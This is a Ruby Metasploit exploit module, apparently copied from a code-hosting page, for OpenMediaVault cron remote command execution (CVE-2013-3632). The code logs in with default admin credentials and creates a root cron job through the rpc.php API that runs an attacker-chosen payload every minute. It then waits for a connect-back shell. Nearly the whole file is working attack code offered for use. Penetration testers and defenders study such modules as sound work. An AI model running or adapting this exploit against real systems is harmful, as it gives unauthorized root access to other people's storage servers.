96 lines
3.1 KiB
Ruby
96 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'OpenMediaVault Cron Remote Command Execution',
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'Description' => %q{
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OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
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An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
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],
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'References' =>
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[
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['CVE', '2013-3632'],
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['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
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],
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'Privileged' => true,
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'DefaultOptions' => { 'WfsDelay' => 60 },
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'Payload' =>
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{
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby bash telnet python',
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}
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},
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'Platform' => ['unix', 'linux'],
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'Arch' => ARCH_CMD,
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'Targets' => [['Automatic',{}]],
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'DisclosureDate' => 'Oct 30 2013',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
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OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
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], self.class)
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end
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def exploit
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init = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/index.php')
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})
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sess = init.get_cookies
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post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"
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login = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/rpc.php'),
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'data' => post,
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'ctype' => 'application/json',
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'cookie' => sess
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})
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if !login or login.code != 200
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fail_with(Failure::NoAccess, "Login failed")
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end
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sess = login.get_cookies
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post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
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post << payload.encoded.gsub('"', '\"')
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post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'
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resp = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/rpc.php'),
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'data' => post,
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'ctype' => 'application/json',
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'cookie' => sess
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})
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if !resp or resp.code != 200
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fail_with(Failure::UnexpectedReply, "Posting cron failed.")
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end
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print_status("Waiting for connect-back, this will take up to a minute")
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end
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end
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